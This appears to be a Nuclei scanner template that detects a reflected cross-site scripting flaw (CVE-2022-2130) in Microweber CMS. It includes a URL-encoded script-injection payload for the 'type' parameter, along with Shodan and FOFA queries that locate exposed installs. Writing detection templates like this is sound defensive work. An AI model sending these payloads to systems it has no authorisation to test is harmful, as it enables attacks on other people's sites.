id: CVE-2022-2130

info:
  name: Microweber < 1.2.17 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site Scripting (XSS) vulnerability in the /demo/editor_tools/module endpoint via the 'type' parameter.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of a victim's browser, leading to potential data theft or account compromise.
  remediation: |
    Upgrade Microweber CMS to version 1.2.17 or later to mitigate the Reflected XSS vulnerability (CVE-2022-2130).
  reference:
    - https://huntr.com/bounties/0142970a-5cb8-4dba-8bbc-4fa2f3bee65c
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2130
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L
    cvss-score: 6.1
    cve-id: CVE-2022-2130
    cwe-id: CWE-79
    epss-score: 0.02883
    epss-percentile: 0.85477
    cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - http.favicon.hash:780351152
      - http.html:"microweber"
    fofa-query:
      - body="microweber"
      - icon_hash=780351152
    vendor: microweber
    product: microweber
  tags: cve,cve2022,microweber,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/editor_tools/module?type=%22%3E%3Cdiv%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</tag><div><script>alert(document.domain)</script>"

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009b110c762a100b321ffb0ea4a9e809e965a48021d170d9b4450479ced72f100f022100ca36c6ba9f031cdfb299404b04dd2836fda0c68b8d649163ce661c8cb68fd9c4:922c64590222798bb761d5b6d8e72950